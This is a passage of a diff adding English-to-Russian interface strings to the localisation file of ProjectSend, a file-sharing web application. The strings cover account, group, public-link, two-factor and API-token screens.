+ "Membership requests": "Заявки на членство", + "Membership requests are reviewed by an administrator": "Заявки на членство рассматривает администратор", + "Method Not Allowed": "Метод запрещён", + "Minutes until the reset link expires": "Минут до истечения ссылки для сброса пароля", + "Misdirected Request": "Неверный запрос", + "Modified": "Изменён", + "Moved Permanently": "Перемещено навсегда", + "Moved the folder \":subject\"": "Переместил(а) папку «:subject»", + "Multi-line text": "Многострочный текст", + "Multi-Status": "Много статусов", + "Multiple Choices": "Много вариантов", + "Multiple files/folders shared at once (digest)": "Несколько файлов или папок открыто за раз (сводка)", + "My files": "Мои файлы", + "My groups": "Мои группы", + "Name": "Название", + "Name or description": "Название или описание", + "Name or email address": "Имя или адрес эл. почты", + "Never": "Никогда", + "Never expires": "Никогда не истекает", + "Network Authentication Required": "Требуется сетевая аутентификация", + "Network Connect Timeout Error": "Истекло время подключения", + "Network Read Timeout Error": "Истекло время ожидания", + "New": "Новый", + "New :name": "Новый :name", + "New category": "Новая категория", + "New client": "Новый клиент", + "New client registrations and client uploads are sent here — at least one address is required.": "Сюда приходят регистрации новых клиентов и их загрузки — нужен хотя бы один адрес.", + "New field": "Новое поле", + "New folder": "Новая папка", + "New group": "Новая группа", + "New membership request from :client for the group \":group\".": "Новая заявка на членство от :client для группы «:group».", + "New password (leave blank to keep current)": "Новый пароль (оставьте пустым, чтобы сохранить текущий)", + "New role": "Новая роль", + "New user": "Новый пользователь", + "News": "Новости", + "Next": "Далее", + "No": "Нет", + "No activity matches these filters.": "Нет активности, подходящей под эти фильтры.", + "No activity recorded yet.": "Активность пока не записана.", + "No categories match your search.": "Нет категорий, подходящих под ваш запрос.", + "No categories yet.": "Категорий пока нет.", + "No clients match these filters.": "Нет клиентов, подходящих под эти фильтры.", + "No clients yet.": "Клиентов пока нет.", + "No comments match these filters.": "Нет комментариев, подходящих под эти фильтры.", + "No Content": "Содержимое отсутствует", + "No custom fields yet.": "Дополнительных полей пока нет.", + "No downloads recorded yet.": "Скачивания пока не записаны.", + "No fields match your search.": "Нет полей, подходящих под ваш запрос.", + "No files have been shared with you yet.": "Вам пока не открыли доступ ни к одному файлу.", + "No files here yet.": "Здесь пока нет файлов.", + "No files or folders match your search.": "Нет файлов или папок, подходящих под ваш запрос.", + "No files yet. Upload the first one.": "Файлов пока нет. Загрузите первый.", + "No folder": "Без папки", + "No groups match these filters.": "Нет групп, подходящих под эти фильтры.", + "No groups yet.": "Групп пока нет.", + "No members yet.": "Участников пока нет.", + "No more categories": "Больше категорий нет", + "No more clients to add": "Больше клиентов для добавления нет", + "No news yet.": "Новостей пока нет.", + "No orphan files found.": "Осиротевших файлов не найдено.", + "No orphan files match your search.": "Нет осиротевших файлов, подходящих под ваш запрос.", + "No pending requests.": "Ожидающих заявок нет.", + "No public links yet.": "Публичных ссылок пока нет.", + "No recipients added yet.": "Получатели пока не добавлены.", + "No requests match your search.": "Нет заявок, подходящих под ваш запрос.", + "No roles match this filter.": "Нет ролей, подходящих под этот фильтр.", + "No size limit. Uploads can be paused and resume automatically after interruptions.": "Без ограничения размера. Загрузку можно приостановить, после обрыва она продолжится сама.", + "No users match these filters.": "Нет пользователей, подходящих под эти фильтры.", + "No users yet.": "Пользователей пока нет.", + "Nobody (optional for everyone)": "Никто (необязательно для всех)", + "Non-Authoritative Information": "Информация не авторитетна", + "None": "Нет", + "None of the selected items could be found.": "Ни один из выбранных элементов не найден.", + "Not Acceptable": "Неприемлемо", + "Not Extended": "Отсутствует расширение", + "Not Found": "Не найдено", + "Not Implemented": "Не реализовано", + "Not Modified": "Без изменений", + "Not shared with anyone yet.": "Доступ пока никому не открыт.", + "Notification settings": "Настройки уведомлений", + "Notifications": "Уведомления", + "Nothing is publicly shared yet.": "Публично пока ничего не открыто.", + "of": "из", + "OK": "ОК", + "One option per line": "По одному варианту в строке", + "Only clients can be group members.": "Участниками группы могут быть только клиенты.", + "Only clients can comment here.": "Здесь могут комментировать только клиенты.", + "Only for anonymous downloads": "Только при анонимных скачиваниях", + "Only people who are signed in can comment here.": "Здесь могут комментировать только вошедшие в систему.", + "Only staff can comment here.": "Здесь может комментировать только команда.", + "Only the wording below is editable — any button or link in this email stays fixed.": "Изменить можно только текст ниже — кнопки и ссылки в этом письме остаются прежними.", + "Open": "Открыть", + "Open folder": "Открыть папку", + "Open in a current window": "Открыть в текущем окне", + "Open in a new window": "Открыть в новом окне", + "Open in a parent frame": "Открыть в родительском фрейме", + "Open in the topmost frame": "Открыть в главном фрейме", + "Open on the website": "Открыть на сайте", + "Open public listing": "Открыть публичный список", + "Options": "Варианты", + "Or enter this key manually:": "Либо введите этот ключ вручную:", + "Orange": "Оранжевый", + "Origin Is Unreachable": "Источник недоступен", + "Outgoing email": "Исходящая почта", + "Outgoing email theme": "Тема исходящих писем", + "Page :current of :last": "Страница :current из :last", + "Page Expired": "Страница устарела", + "Pagination Navigation": "Навигация", + "Partial Content": "Не полное содержимое", + "Password": "Пароль", + "Password reset": "Сброс пароля", + "Path": "Путь", + "Payload Too Large": "Большой объём данных", + "Payment Required": "Необходима оплата", + "Pending approval": "Ожидает подтверждения", + "Permanent Redirect": "Постоянное перенаправление", + "Permanently erased a deleted account": "Безвозвратно стёр(ла) удалённую учётную запись", + "Permissions": "Разрешения", + "Pink": "Розовый", + "Platform": "Платформа", + "Please click the button below to verify your email address.": "Пожалуйста, нажмите кнопку ниже, чтобы подтвердить свой адрес электронной почты.", + "Port": "Порт", + "Postmark": "Postmark", + "Powered by ProjectSend": "Работает на ProjectSend", + "Precondition Failed": "Условие ложно", + "Precondition Required": "Требуется предусловие", + "Preparing your download…": "Подготовка вашей загрузки…", + "Preview": "Предпросмотр", + "Preview: :theme": "Предпросмотр: :theme", + "Previous": "Назад", + "Price": "Цена", + "Privacy": "Конфиденциальность", + "Privacy settings": "Настройки конфиденциальности", + "Private": "Закрытый", + "Processing": "Идёт обработка", + "Profile": "Профиль", + "Profile information was updated": "Данные профиля обновлены", + "ProjectSend :latestVersion is available (you have :currentVersion)": "Доступен ProjectSend :latestVersion (у вас :currentVersion)", + "ProjectSend is free, open source software for sending files to your clients. It is released under the :license, which means you are free to use, study, change and share it.": "ProjectSend — свободное программное обеспечение с открытым исходным кодом для отправки файлов вашим клиентам. Оно выпускается под :license, а значит, вы можете свободно использовать, изучать, изменять и распространять его.", + "ProjectSend is ready": "ProjectSend готов к работе", + "ProjectSend was installed": "ProjectSend установлен", + "Provider": "Провайдер", + "Proxy Authentication Required": "Требуется аутентификация прокси", + "Public": "Публичный", + "Public file": "Публичный файл", + "Public files": "Публичные файлы", + "Public group": "Публичная группа", + "Public group listing": "Публичный список групп", + "Public groups": "Публичные группы", + "Public link": "Публичная ссылка", + "Public link created.": "Публичная ссылка создана.", + "Public link revoked.": "Публичная ссылка отозвана.", + "Public links": "Публичные ссылки", + "Public listing": "Публичный список", + "Public listing settings": "Настройки публичного списка", + "Public listing URL": "Адрес публичного списка", + "Public pages & portal": "Публичные страницы и портал", + "Public pages and client portal theme": "Тема публичных страниц и клиентского портала", + "Published": "Опубликовано", + "Purple": "Фиолетовый", + "Quota": "Квота", + "Railgun Error": "Ошибка соединения с Railgun", + "Range Not Satisfiable": "Диапазон недостижим", + "Read more": "Подробнее", + "Reassign them to": "Передать их", + "Recent activity": "Недавняя активность", + "Recipient": "Получатель", + "Record": "Запись", + "Record IP addresses for downloads": "Записывать IP-адреса при скачивании", + "Recovery code": "Код восстановления", + "Red": "Красный", + "Regards,": "С уважением,", + "Regenerate recovery codes": "Создать новые коды восстановления", + "Regenerate recovery codes?": "Создать новые коды восстановления?", + "Regenerated two-factor recovery codes": "Создал(а) новые коды восстановления двухфакторной аутентификации", + "Register": "Регистрация", + "Register to access the files shared with you.": "Зарегистрируйтесь, чтобы получить доступ к файлам, открытым для вас.", + "Register to request access. An administrator will review your request.": "Зарегистрируйтесь, чтобы запросить доступ. Администратор рассмотрит вашу заявку.", + "Registered a new client account": "Зарегистрировал(а) новую учётную запись клиента", + "Related": "Связанное", + "Remember me": "Запомнить меня", + "Remove": "Убрать", + "Removed \":member\" from the group \":subject\"": "Убрал(а) «:member» из группы «:subject»", + "Removed the file \":subject\" from :target": "Убрал(а) файл «:subject» у :target", + "Rename": "Переименовать", + "Renamed the folder \":subject\"": "Переименовал(а) папку «:subject»", + "Repository": "Репозиторий", + "Request declined": "Заявка отклонена", + "Request Header Fields Too Large": "Поля заголовка слишком большие", + "Request membership": "Запросить членство", + "Request membership to groups (optional)": "Запросить членство в группах (необязательно)", + "Request Timeout": "Истекло время ожидания", + "Requested": "Запрошено", + "Requested membership to the group \":subject\"": "Запросил(а) членство в группе «:subject»", + "Requested memberships wait in the membership requests queue for approval.": "Запрошенные членства ждут подтверждения в очереди заявок на членство.", + "Require two-factor authentication": "Требовать двухфакторную аутентификацию", + "Required": "Обязательное", + "Reset Content": "Сброс содержимого", + "Reset Password": "Сбросить пароль", + "Reset Password Notification": "Оповещение о сбросе пароля", + "Reset this email to its default wording?": "Вернуть этому письму исходный текст?", + "Reset to default": "Вернуть к исходному", + "Restore": "Восстановить", + "Restore :name": "Восстановить :name", + "Restricted extension": "Ограниченное расширение", + "Result": "Результат", + "results": "результатов", + "Review membership requests": "Рассмотрение заявок на членство", + "Review pending requests": "Рассмотреть ожидающие заявки", + "Retry With": "Повторить с", + "Revoke": "Отозвать", + "Revoke link": "Отозвать ссылку", + "Revoke this public link?": "Отозвать эту публичную ссылку?", + "Revoked a public link for the file \":subject\"": "Отозвал(а) публичную ссылку на файл «:subject»", + "Role": "Роль", + "Role created.": "Роль создана.", + "Role deleted.": "Роль удалена.", + "Role name": "Название роли", + "Role updated.": "Роль обновлена.", + "Roles": "Роли", + "Sample email": "Пример письма", + "Save": "Сохранить", + "Save :name": "Сохранить :name", + "Save & Close": "Сохранить и закрыть", + "Save & Return": "Сохранить и вернуться", + "Save your changes to make this live — until then, these buttons point to a page that isn't published yet.": "Сохраните изменения, чтобы это заработало, — до тех пор кнопки ведут на ещё не опубликованную страницу.", + "Saved": "Сохранено", + "Scan this QR code with your authenticator app, then enter the six-digit code to confirm.": "Отсканируйте этот QR-код приложением-аутентификатором, затем введите шестизначный код для подтверждения.", + "Scanning:": "Идёт проверка:", + "Scheduled tasks": "Запланированные задачи", + "Search": "Поиск", + "Search :name": "Поиск :name", + "Search all files and folders": "Искать по всем файлам и папкам", + "Search by client or group": "Искать по клиенту или группе", + "Search by name": "Искать по названию", + "Search by name or email address": "Искать по имени или адресу эл. почты", + "Search by path": "Искать по пути", + "Search categories": "Искать категории", + "Search fields": "Искать поля", + "Search your files": "Искать в ваших файлах", + "Security": "Безопасность", + "Security settings": "Настройки безопасности", + "See Other": "Смотри другое", + "Select": "Выбрать", + "Select :name": "Выбрать :name", + "Select a client or group": "Выберите клиента или группу", + "Select a client to add": "Выберите клиента для добавления", + "Select a role": "Выберите роль", + "Select All": "Выбрать всё", + "Select an option": "Выберите вариант", + "Select at least one file or folder.": "Выберите хотя бы один файл или папку.", + "Self-registered clients join this group automatically.": "Клиенты, зарегистрировавшиеся сами, попадают в эту группу автоматически.", + "Send": "Отправить", + "Send email notifications": "Отправлять уведомления по почте", + "Send test email": "Отправить пробное письмо", + "SendGrid": "SendGrid", + "Sends a real email right now, bypassing the queue, so you can verify the settings above actually work.": "Отправляет настоящее письмо прямо сейчас, минуя очередь, чтобы вы убедились, что настройки выше действительно работают.", + "Separate paragraphs with a blank line.": "Разделяйте абзацы пустой строкой.", + "Server Error": "Ошибка сервера", + "Service Unavailable": "Сервис недоступен", + "Session Has Expired": "Сессия устарела", + "Set file expiration dates": "Установка сроков действия файлов", + "Set to 0 for no limit. Available disk space still applies.": "Укажите 0, чтобы не было ограничения. Доступное место на диске всё равно действует.", + "Set to 0 to allow requesting again immediately.": "Укажите 0, чтобы разрешить повторную заявку сразу же.", + "Set up ProjectSend": "Настройка ProjectSend", + "Settings": "Настройки", + "Settings that apply to the whole installation": "Настройки, действующие на всю установку", + "Setup complete": "Настройка завершена", + "Share a file with the people who manage your account.": "Поделитесь файлом с теми, кто ведёт вашу учётную запись.", + "Share files with several clients at once": "Открывайте доступ к файлам сразу нескольким клиентам", + "Shared the folder \":subject\" with :target": "Открыл(а) доступ к папке «:subject» для :target", + "Shared with": "Доступ открыт", + "Shared with :count": "Доступ открыт: :count", + "Sharing": "Доступ", + "Sharing a folder shares everything inside it, now and later": "Открыв доступ к папке, вы открываете всё её содержимое — сейчас и в дальнейшем", + "Show": "Показать", + "Show :name": "Показать :name", + "Show All": "Показать всё", + "Showing": "Показано с", + "Showing matches from across your library": "Результаты по всей вашей библиотеке", + "Showing matches from everything shared with you": "Результаты по всему, к чему вам открыт доступ", + "Shown across the application and to your clients.": "Отображается по всему приложению и вашим клиентам.", + "Shows a registration form on the login screen.": "Показывает форму регистрации на экране входа.", + "Sign In": "Регистрация", + "Sign up": "Зарегистрироваться", + "Site name": "Название сайта", + "Size": "Размер", + "Skip the IP address when the downloader is a signed-in account — their identity is already known.": "Не записывать IP-адрес, если скачивает вошедшая учётная запись, — её личность и так известна.", + "SMTP configuration": "Настройка SMTP", + "Source code": "Исходный код", + "Special public links": "Особые публичные ссылки", + "Solve": "Решить", + "Something went wrong. Please try again.": "Что-то пошло не так. Попробуйте ещё раз.", + "SSL": "SSL", + "SSL Handshake Failed": "Квитирование SSL не удалось", + "Staff": "Команда", + "Start": "Начать", + "Status": "Статус", + "Stop": "Остановить", + "Stopped sharing the folder \":subject\" with :target": "Закрыл(а) доступ к папке «:subject» для :target", + "Storage": "Хранилище", + "Storage free": "Свободно", + "Storage quota (MB)": "Квота хранилища (МБ)", + "Storage used": "Занято", + "Store these recovery codes somewhere safe. Each one can be used once if you lose access to your authenticator app.": "Сохраните эти коды восстановления в надёжном месте. Каждый можно использовать один раз, если вы потеряете доступ к приложению-аутентификатору.", + "Subfolders": "Вложенные папки", + "Subject": "Тема", + "Submit": "Отправить", + "Subscribe": "Подписаться", + "Success: test email sent to :email via :hostport.": "Успешно: пробное письмо отправлено на :email через :hostport.", + "Support the project": "Поддержать проект", + "Switch": "Переключить", + "Switch To Role": "Переключиться на роль", + "Switching Protocols": "Переключение протоколов", + "System": "Система", + "System Administrator": "Системный администратор", + "System settings": "Системные настройки", + "System settings were updated": "Системные настройки обновлены", + "System users": "Пользователи системы", + "Tag": "Тег", + "Tags": "Теги", + "Temporary Redirect": "Временное перенаправление", + "Test": "Проверка", + "Text": "Текст", + "Text or author": "Текст или автор", + "The account of :name will be permanently deleted. This cannot be undone.": "Учётная запись :name будет удалена безвозвратно. Отменить это нельзя.", + "The account password was changed": "Пароль учётной записи изменён", + "The account request of :name will be denied and the account deleted.": "Заявка :name на учётную запись будет отклонена, а сама запись удалена.", + "The administrator account was created successfully.": "Учётная запись администратора успешно создана.", + "The administrator role always has every permission and cannot be edited.": "Роль администратора всегда имеет все разрешения и не подлежит изменению.", + "The base URL segment for public group pages, e.g. :url": "Базовая часть адреса для страниц публичных групп, напр. :url", + "The category \":name\" will be removed from all its files. The files themselves are not deleted.": "Категория «:name» будет убрана у всех её файлов. Сами файлы не удаляются.", + "The client's email address": "Адрес эл. почты клиента", + "The client's name": "Имя клиента", + "The clients this group shares files with": "Клиенты, которым эта группа открывает доступ к файлам", + "The field \":name\" and all its stored values will be permanently deleted.": "Поле «:name» и все сохранённые в нём значения будут удалены безвозвратно.", + "The file \":file\" was uploaded by :client.": "Файл «:file» загрузил(а) :client.", + "The file \":name\" has been shared with you.": "Вам открыт доступ к файлу «:name».", + "The file \":name\" will no longer be available to anyone it was shared with.": "Файл «:name» больше не будет доступен никому, кому был открыт.", + "The file name": "Имя файла", + "The file or folder name": "Имя файла или папки", + "The file will be permanently removed from disk. This cannot be undone.": "Файл будет безвозвратно удалён с диска. Отменить это нельзя.", + "The files of a public group can be browsed by anyone with the link, without logging in.": "Файлы публичной группы может просматривать любой, у кого есть ссылка, без входа в систему.", + "The files shared with you": "Файлы, к которым вам открыт доступ", + "The folder \":name\" and everything inside it will be deleted. This can be undone by an administrator.": "Папка «:name» и всё её содержимое будут удалены. Администратор может это отменить.", + "The following :count items have been shared with you:": "Вам открыт доступ к следующим элементам (:count):", + "The folder \":name\" has been shared with you.": "Вам открыт доступ к папке «:name».", + "The given data was invalid.": "Указанные данные недействительны.", + "The group \":name\" will be deleted. Its clients keep their accounts.": "Группа «:name» будет удалена. Её клиенты сохранят свои учётные записи.", + "The group name": "Название группы", + "The groups you belong to and the ones you can ask to join": "Группы, в которых вы состоите, и те, куда вы можете попроситься", + "The header/footer style used for every outgoing notification email.": "Стиль шапки и подвала для каждого исходящего письма с уведомлением.", + "The look of the guest public pages, the client portal, and outgoing notification emails.": "Внешний вид публичных страниц для посетителей, клиентского портала и исходящих писем с уведомлениями.", + "The mail server itself is configured in this installation’s .env file (MAIL_* variables), not here.": "Сам почтовый сервер настраивается в файле .env этой установки (переменные MAIL_*), а не здесь.", + "The people who administer this installation and upload files": "Люди, которые администрируют эту установку и загружают файлы", + "The people you share files with": "Люди, с которыми вы делитесь файлами", + "The provided two-factor authentication code was invalid.": "Введённый код двухфакторной аутентификации неверен.", + "The release this installation is running, and where it comes from.": "Версия, на которой работает эта установка, и её происхождение.", + "The response is not a streamed response.": "Ответ не является потоковым.", + "The response is not a view.": "Ответ не является представлением.", + "The role \":name\" will be permanently deleted. This cannot be undone.": "Роль «:name» будет удалена безвозвратно. Отменить это нельзя.", + "The selected folders are empty.": "Выбранные папки пусты.", + "The uploading client's name": "Имя клиента, который загружает файл", + "Their account is waiting for approval.": "Эта учётная запись ожидает подтверждения.", + "There is nothing to configure yet.": "Настраивать пока нечего.", + "Test email from :site": "Пробное письмо с :site", + "These files will be permanently removed from disk. This cannot be undone.": "Эти файлы будут безвозвратно удалены с диска. Отменить это нельзя.", + "Theme": "Тема оформления", + "Theme updated.": "Тема оформления обновлена.", + "Theming": "Оформление", + "Theming settings": "Настройки оформления", + "This action is unauthorized.": "Действие не авторизовано.", + "This file exceeds the maximum allowed size of :max MB.": "Этот файл превышает максимально допустимый размер :max МБ.", + "This folder is empty.": "Эта папка пуста.", + "This installation has no administrator yet. Create the first one to get started.": "У этой установки ещё нет администратора. Создайте первого, чтобы начать.", + "This is a built-in role; its scope can't be changed.": "Это встроенная роль; её область действия изменить нельзя.", + "This is a preview of the :theme email theme.": "Это предпросмотр темы писем :theme.", + "This is a sample email — no notification was actually sent.": "Это пример письма — никакое уведомление на самом деле не отправлялось.", + "This is a test email from :site.": "Это пробное письмо с :site.", + "This is the last active administrator account.": "Это последняя активная учётная запись администратора.", + "This link cannot match the file's own public URL slug.": "Эта ссылка не может совпадать с собственным публичным адресом файла.", + "This link doesn't exist or has been revoked.": "Такой ссылки нет или она отозвана.", + "This link has expired.": "Срок действия этой ссылки истёк.", + "This link has reached its download limit.": "Эта ссылка исчерпала лимит скачиваний.", + "This password reset link will expire in :count minutes.": "Срок действия ссылки для сброса пароля истекает через :count минут.", + "This permanently removes every failed job from the list without retrying any of them. This cannot be undone.": "Безвозвратно удаляет из списка все неудавшиеся задачи, не повторяя ни одну из них. Отменить это действие нельзя.", + "This role is assigned to accounts and cannot be deleted.": "Эта роль назначена учётным записям, поэтому удалить её нельзя.", + "This role only sees files and folders belonging to these clients, plus its own uploads.": "Эта роль видит только файлы и папки указанных клиентов, а также собственные загрузки.", + "This upload would exceed your storage quota of :quota MB.": "Эта загрузка превысила бы вашу квоту хранилища в :quota МБ.", + "Tip: drag files and folders onto a folder or a breadcrumb to move them.": "Подсказка: чтобы переместить файлы и папки, перетащите их на папку или на строку навигации.", + "Title": "Заголовок", + "Title (optional)": "Заголовок (необязательно)", + "TLS": "TLS", + "to": "по", + "To": "Кому", + "Toggle navigation": "Переключить навигацию", + "Too Early": "Слишком рано", + "Too many files selected. Choose a smaller selection and try again.": "Выбрано слишком много файлов. Сократите выбор и попробуйте снова.", + "Too Many Requests": "Слишком много запросов", + "Transactional email settings for this installation": "Настройки служебных писем этой установки", + "Transfers — last 30 days": "Передачи — последние 30 дней", + "Translate": "Перевод", + "Translate It": "Перевести", + "Turns all transactional email for this installation on or off.": "Включает или выключает все служебные письма этой установки.", + "Two-factor auth": "Двухфакторная аутентификация", + "Two-factor authentication": "Двухфакторная аутентификация", + "Two-factor authentication is enabled.": "Двухфакторная аутентификация включена.", + "Two-factor authentication was disabled": "Двухфакторная аутентификация отключена", + "Two-factor authentication was enabled": "Двухфакторная аутентификация включена", + "Two-factor recovery codes were regenerated": "Созданы новые коды восстановления двухфакторной аутентификации", + "Type": "Тип", + "Unauthorized": "Не авторизован", + "Unavailable For Legal Reasons": "Недоступно по юридическим причинам", + "Unchanged": "Без изменений", + "Unknown Error": "Неизвестная ошибка", + "Unlimited": "Без ограничений", + "Unpack": "Распаковать", + "Unprocessable Entity": "Необрабатываемый экземпляр", + "Unsubscribe": "Отписаться", + "Unsupported Media Type": "Неподдерживаемый тип данных", + "Up": "Вверх", + "Up to :max MB per file. Uploads can be paused and resume automatically after interruptions.": "До :max МБ на файл. Загрузку можно приостановить, после обрыва она продолжится сама.", + "Update": "Сохранить", + "Update :name": "Обновить :name", + "Updated the account \":subject\"": "Обновил(а) учётную запись «:subject»", + "Updated the file \":subject\"": "Обновил(а) файл «:subject»", + "Updated the group \":subject\"": "Обновил(а) группу «:subject»", + "Updated the role \":subject\"": "Обновил(а) роль «:subject»", + "Updated the system settings (:section)": "Обновил(а) системные настройки (:section)", + "Updated their profile information": "Обновил(а) данные своего профиля", + "Upgrade Required": "Требуется обновление", + "Upload": "Загрузить", + "Upload a file": "Загрузить файл", + "Upload files": "Загрузка файлов", + "Upload public files": "Загрузка публичных файлов", + "Upload settings": "Настройки загрузки", + "Upload to public folders": "Загрузка в публичные папки", + "Uploaded by": "Загрузил(а)", + "Uploaded the file \":subject\"": "Загрузил(а) файл «:subject»", + "Uploader": "Загрузивший", + "Uploads": "Загрузки", + "Uploads (chart)": "Загрузки (график)", + "URI Too Long": "URI слишком длинный", + "URL slug": "Адресный идентификатор", + "Use a custom link instead of a random one": "Использовать свою ссылку вместо случайной", + "Use a recovery code": "Использовать код восстановления", + "Use an authentication code": "Использовать код аутентификации", + "Use Proxy": "Используй прокси", + "Use the navigation to get started.": "Начните с навигации.", + "Used": "Использовано", + "Used in the public file URL when this file is public.": "Используется в публичном адресе файла, когда файл публичный.", + "Used in the public group URL when this group is public.": "Используется в публичном адресе группы, когда группа публичная.", + "User": "Пользователь", + "User created.": "Пользователь создан.", + "User deleted.": "Пользователь удалён.", + "User updated.": "Пользователь обновлён.", + "Users": "Пользователи", + "Username": "Имя пользователя", + "Variant Also Negotiates": "Вариант тоже проводит согласование", + "Verify Email Address": "Подтвердить адрес электронной почты", + "Version": "Версия", + "Version :version": "Версия :version", + "View": "Просмотр", + "View :name": "Посмотреть :name", + "View all": "Показать всё", + "View dashboard counters": "Просмотр счётчиков панели", + "View file": "Открыть файл", + "View news": "Просмотр новостей", + "View statistics": "Просмотр статистики", + "View system information": "Просмотр сведений о системе", + "Visible widgets": "Видимые виджеты", + "View the activity log": "Просмотр журнала активности", + "View your files": "Просмотр своих файлов", + "Visibility": "Видимость", + "Visitors": "Посетители", + "Warning": "Предупреждение", + "Web Server is Down": "Веб-сервер не работает", + "Website": "Сайт", + "Welcome": "Добро пожаловать", + "Welcome to ProjectSend": "Добро пожаловать в ProjectSend", + "What each kind of account is allowed to do": "Что разрешено каждому типу учётных записей", + "When an account is erased, its files and folders": "Когда учётная запись удаляется, её файлы и папки", + "When enabled, you will be asked for a secure code from your phone when logging in.": "Если включено, при входе у вас будут запрашивать защитный код с телефона.", + "When off, self-registered clients wait in the account requests queue until approved.": "Когда выключено, клиенты, зарегистрировавшиеся сами, ждут подтверждения в очереди заявок на учётные записи.", + "Where outgoing email is actually sent from.": "Адрес, с которого на самом деле уходит исходящая почта.", + "Whoops!": "Упс!", + "Widgets": "Виджеты", + "Worth including when you report a problem.": "Стоит приложить, когда сообщаете о проблеме.", + "Written by": "Автор", + "Yellow": "Жёлтый", + "Yes": "Да", + "You are commenting too quickly. Try again in a moment.": "Вы комментируете слишком часто. Попробуйте через мгновение.", + "You are commenting too quickly. Try again in :seconds seconds.": "Вы комментируете слишком часто. Попробуйте через :seconds с.", + "You are not a member of any group yet.": "Вы пока не состоите ни в одной группе.", + "You are receiving this email because we received a password reset request for your account.": "Вы получили это письмо, потому что мы получили запрос на сброс пароля для Вашей учётной записи.", + "You can only share with the clients assigned to you.": "Вы можете открывать доступ только назначенным вам клиентам.", + "You cannot comment on this file.": "Вы не можете комментировать этот файл.", + "You cannot deactivate your own account.": "Вы не можете отключить собственную учётную запись.", + "You cannot delete your own account.": "Вы не можете удалить собственную учётную запись.", + "You have no notifications yet.": "У вас пока нет уведомлений.", + "You will no longer receive files shared with the group \":name\".": "Вы больше не будете получать файлы, открытые для группы «:name».", + "Your account details were recently changed by an administrator. Contact your administrator if this was not expected.": "Данные вашей учётной записи недавно изменил администратор. Свяжитесь с администратором, если вы этого не ожидали.", + "Your account has been approved": "Ваша учётная запись одобрена", + "Your account has been created. You can log in now.": "Ваша учётная запись создана. Теперь вы можете войти.", + "Your account has been deactivated.": "Ваша учётная запись отключена.", + "Your account is deactivated immediately. After :days days it is permanently erased, including your identifying details in the activity log — this cannot be undone.": "Ваша учётная запись отключается сразу. Через :days дн. она будет стёрта безвозвратно, вместе с данными, по которым вас можно опознать в журнале активности, — отменить это нельзя.", + "Your account request has been approved. You can now log in.": "Ваша заявка на учётную запись одобрена. Теперь вы можете войти.", + "Your account request has been denied.": "Ваша заявка на учётную запись отклонена.", + "Your account request has been received. You will be able to log in once it is approved.": "Ваша заявка на учётную запись получена. Вы сможете войти, как только её одобрят.", + "Your account request has not been approved yet.": "Ваша заявка на учётную запись пока не одобрена.", + "Your account request was denied": "Ваша заявка на учётную запись отклонена", + "Your account was updated": "Ваша учётная запись обновлена", + "Your account will be deactivated now and permanently erased after :days days. Enter your password to confirm.": "Ваша учётная запись будет отключена сейчас и безвозвратно стёрта через :days дн. Введите пароль для подтверждения.", + "Your account will no longer require a second code at login, making it less secure.": "При входе у вашей учётной записи больше не будут запрашивать второй код, из-за чего она станет менее защищённой.", + "Your administrator requires two-factor authentication on this account. Set it up below to continue.": "Ваш администратор требует двухфакторную аутентификацию для этой учётной записи. Настройте её ниже, чтобы продолжить.", + "Your customized subject and body will be discarded and replaced with the default wording immediately — this cannot be undone.": "Ваши изменённые тема и текст будут сразу отброшены и заменены исходными формулировками — отменить это нельзя.", + "Your download should start automatically.": "Скачивание должно начаться автоматически.", + "Your existing recovery codes will stop working immediately.": "Ваши нынешние коды восстановления сразу перестанут работать.", + "Your group membership request was approved": "Ваша заявка на членство в группе одобрена", + "Your group membership request was denied": "Ваша заявка на членство в группе отклонена", + "Your groups": "Ваши группы", + "Your previous request to this group was declined. You can request again later.": "Ваша прошлая заявка в эту группу была отклонена. Вы сможете подать её снова позже.", + "Your request to join the group \":group\" has been approved.": "Ваша заявка на вступление в группу «:group» одобрена.", + "Your request to join the group \":group\" has been denied.": "Ваша заявка на вступление в группу «:group» отклонена.", + "Your request to join the group \":groupName\" has been approved": "Ваша заявка на вступление в группу «:groupName» одобрена", + "Your shared file library": "Ваша библиотека общих файлов", + "API tokens": "Токены API", + "Tokens let an external tool act on your behalf through the API, with only the permissions you grant it here.": "Токены позволяют внешнему инструменту действовать от вашего имени через API — только с теми разрешениями, которые вы здесь выдадите.", + "Token name": "Название токена", + "e.g. Zapier": "напр. Zapier", + "Name it after the tool that will use it, so you know what you are revoking later.": "Назовите его по имени инструмента, который будет его использовать, чтобы потом понимать, что вы отзываете.", + "A token can never do more than you can. Grant only what the tool needs — if your own permissions change, the token follows.": "Токен никогда не сможет больше вас. Выдавайте только то, что нужно инструменту, — если ваши разрешения изменятся, токен последует за ними.", + "Only permissions the API can currently act on are listed. More appear here as new endpoints are released.": "Здесь перечислены только разрешения, с которыми API уже умеет работать. Остальные появятся по мере выхода новых конечных точек.", + "There is nothing you can grant a token yet — none of the API endpoints released so far match your permissions.": "Пока вам нечего выдать токену — ни одна из выпущенных конечных точек API не совпадает с вашими разрешениями.", + "Select all": "Выбрать всё", + "Clear all": "Снять выбор", + "Expires in (days)": "Истекает через (дней)", + "A token that never expires stays valid until someone revokes it by hand. Prefer a date you can forget about safely.": "Бессрочный токен действует, пока кто-нибудь не отзовёт его вручную. Лучше выбрать дату, о которой можно спокойно забыть.", + "Create token": "Создать токен", + "Copy your token now": "Скопируйте токен прямо сейчас", + "This is the only time it will be shown. We store only a hash, so it cannot be recovered later.": "Он показывается только сейчас. Мы храним лишь его хеш, поэтому восстановить его позже не получится.", + "Copy to clipboard": "Скопировать в буфер обмена", + "Copied": "Скопировано", + "Your tokens": "Ваши токены", + "Revoking a token takes effect immediately.": "Отзыв токена вступает в силу немедленно.", + "You have not created any tokens yet.": "Вы пока не создали ни одного токена.", + "Expired": "Истёк", + "Never used": "Ни разу не использован", + "Last used :date": "Последнее использование :date", + "Revoke this token?": "Отозвать этот токен?", + "Any tool using it will stop working immediately. This cannot be undone.": "Любой инструмент, который его использует, сразу перестанет работать. Отменить это нельзя.", + "This file type is not allowed for upload.": "Файлы этого типа загружать нельзя.", + "View the client list": "Просмотр списка клиентов", + "View the group list": "Просмотр списка групп", + "Origin": "Источник", + "All origins": "Все источники", + "Web UI": "Веб-интерфейс", + "API": "API", + ":origin · :token": ":origin · :token", + "Edit token": "Изменить токен", + "Save token": "Сохранить токен", + "The token is shown once, immediately after it is created, and never again.": "Токен показывается один раз, сразу после создания, и больше никогда.", + "The token itself does not change. Anything already using it keeps working with whatever you set here.": "Сам токен не меняется. Всё, что уже его использует, продолжит работать с тем, что вы здесь 